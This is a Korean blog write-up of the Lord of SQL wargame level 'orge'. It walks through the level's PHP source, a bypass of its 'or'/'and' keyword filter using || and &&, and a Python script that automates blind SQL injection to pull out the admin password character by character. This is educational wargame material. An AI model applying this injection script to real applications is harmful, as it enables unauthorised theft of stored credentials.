Gae Ko's Blog

los : orge 본문

웹해킹 /[los] Lord of SQL

los : orge

Gae Ko 2017. 8. 12. 07:48

[코드분석]


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 

↑DB연결을 위한 코드 


  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 

↑preg_match를 통한 필터링 


  $query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"

↑쿼리 실행


  $_GET[pw] = addslashes($_GET[pw]); 

↑addslashes함수 작동 


  $query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 

↑문제의 포인트 



[내 풀이]


preg_match를 통해 or 과 and가 들어간 입력값을 필터링해주고 

pw의 값을 GET방식으로 받고 이때 입력받은 pw와 쿼리실행결과의 pw가 동일해야 문제가 풀린다.

이 문제는 los : orc와 los : darkelf 가 결합된 유형이다. 

즉, Blind SQL injection을 통해 데이터베이스에 저장된 admin의 pw를 알아내서 url로 입력해주면 된다.

다만 or 과 and 를 사용할 수 없으므로 우회하는 문자열을 사용해서 Blind SQL injection하면 된다.


앞에서 해봤던 것처럼 substr함수와 ascii함수를 이용해 id='admin'인 pw의 첫번째 문자를 알아내보았다.





 id='admin'인 pw의 첫번째 문자가 6 임을 알 수 있다. ( char(54)=6 이기 때문 )

pw의 길이를 구하고나서 위 방법으로 substr함수의 두번째 인자의 수에 +1씩 하여 = 뒤에 다른 숫자를 넣어가며 해당자리에 맞는 pw의 문자를 알아낼 수 있다.


하나씩 손으로 알아내는건 힘드므로 자동화툴을 이용한다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib2, urllib, requests, time
 
flag = ''
length= 0
 
session = dict(PHPSESSID="mq5j0ff4ss5lk7v1bvfru3osn7")
 
# find the length of PW 
for i in range(020):
    try:
        r = requests.post("https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1' %7c%7c  id='admin' %26%26 length(pw)="+str(i)+"%23", cookies=session)
    except:
        print "exception"
        continue
    if 'Hello admin' in r.text: #true
        length = i
        break
 
print "[+]  Length of admin pw : " + str(length)
 
for j in range(1, length+1):
    for i in range(48126):
        try:
            r = requests.post("https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1' %7c%7c id='admin' %26%26 substr(pw,"+str(j)+",1) ='"+ str(chr(i)), cookies=session)
        except:
            print "exception"
            continue
        if 'Hello admin' in r.text:
            flag = flag + chr(i)
            print "[+] finding pw : " + flag
            break
        time.sleep(0.1)
print "[+] pw of admin : " + flag
 
 
cs


앞에서 설명한 것처럼 

session 변수를 이용해 새션아이디를 저장해주어 로그인상태를 유지시켜준다.

그리고 반복문과 length 함수를 이용해 pw의 길이를 알아낸다.

그리고 이중반복문과 substr함수를 이용해 pw의 정확한 값을 구한다.


이 코드를 실행하면 



코드대로 맨 처음에 pw의 길이를 출력해주고 맨 마지막에 총 pw를 출력해준다.


결론 : id가 admin인 pw는 6c864dec



SUCCESS !!!


[참고]

마지막 결과에 Hello guset 라고 나오지 않는 이유는 

첫번째 실행 쿼리에서 조건이 id='guest'이고 pw='(id가 admin인 pw값)'이 되므로 false(거짓)이 되기 때문이다.


그리고 My SQL 은 대소문자를 구분하지 않고 PHP에서는 대소문자를 구분하기 때문에 

pw의 값이 6C864DEC 라고 나와서 url에 그 값을 그대로 넣어서 fail되는 경우엔 대소문자때문임을 생각하자.

민지언니말에 의하면 대문자인지 소문자인지 구별법은 찍는 방법 뿐이라 하셨다. ㅎㅅㅎ


'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글

los : vampire  (0) 2017.08.17
los : troll  (0) 2017.08.16
los : darkelf  (0) 2017.08.12
los : wolfman  (0) 2017.08.12
los : orc  (0) 2017.08.12